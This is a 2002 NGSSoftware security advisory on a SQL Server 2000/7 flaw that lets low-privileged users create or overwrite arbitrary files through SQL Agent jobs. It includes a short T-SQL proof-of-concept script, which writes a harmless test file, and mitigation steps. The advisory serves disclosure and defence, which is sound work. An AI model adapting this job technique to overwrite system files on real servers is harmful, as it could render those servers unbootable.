Arbitrary File Creation/Overwrite with SQL Agent Jobs (SQL 2000 and 7) (#NISR19002002A)

["NGSSoftware Insight Security Research" <nisr () nextgenss com>]

NGSSoftware Insight Security Research Advisory

Name: Arbitrary File Creation/Overwrite with SQL Agent Jobs
Systems: Microsoft SQL Server 2000 and 7
Severity: High Risk
Category: Arbitrary File Creation/Overwrite
Vendor URL: http://www.microsoft.com/
Author: David Litchfield (david () ngssoftware com)
Advisory URL: http://www.ngssoftware.com/advisories/mssql-espjobs2.txt
Date: 19th August 2002
Advisory number: #NISR19002002A


Description
***********
With Microsoft SQL Server 2000 and 7 comes a "helper" service, the SQL
Server agent. The Agent is responsible for restarting  the database service
if it stops for some reason, has a role to play in replication and runs
scheduled jobs. As the public role can submit jobs to the SQL Agent, by
default, a low pirviliged user can create or overwrite arbitray files on the
SQL Server.

Details
*******
When adding a job one can specify the name of a file to output the results
of the Transact-SQL or CmdExec Job to. If this already exists it can be
ovewritten and if it doesn't exist already a new file will be created. By
crafting the query of the job one can place arbitrary contents in this file.

If the SQL Server Agent is running with Local SYSTEM privileges an attacker
will be able to overwrite key operating system files rendering the server
unbootable.

Proof of Concept
****************
-- ArbitraryFileCreate
-- For this to work the SQL Agent should be running.
-- Further, you'll need to change SERVER_NAME in
-- sp_add_jobserver to the SQL Server of your choice
--
-- David Litchfield
-- (david () ngssoftware com)
-- 19th August 2002

USE msdb

EXEC sp_add_job @job_name = 'ArbitraryFileCreate',
@enabled = 1,
@description = 'This will create a file called c:\sqlafc123.txt',
@delete_level = 1

EXEC sp_add_jobstep @job_name = 'ArbitraryFileCreate',
@step_name = 'SQLAFC',
@subsystem = 'TSQL',
@command = 'select ''hello, this file was created by the SQL Agent.''',
@output_file_name = 'c:\sqlafc123.txt'

EXEC sp_add_jobserver @job_name = 'ArbitraryFileCreate',
@server_name = 'SERVER_NAME'

EXEC sp_start_job @job_name = 'ArbitraryFileCreate'


Fix Information
***************
NGSSoftware informed Microsoft of these issues in July. To prevent low
privileged users from submitting jobs one should disallow public access to
the Job related stored procedures in the MSDB database particularly

sp_add_job
sp_add_jobstep
sp_add_jobserver
sp_start_job

Further to this ensure that the SQL Server Agent is running as a low
privileged NT account.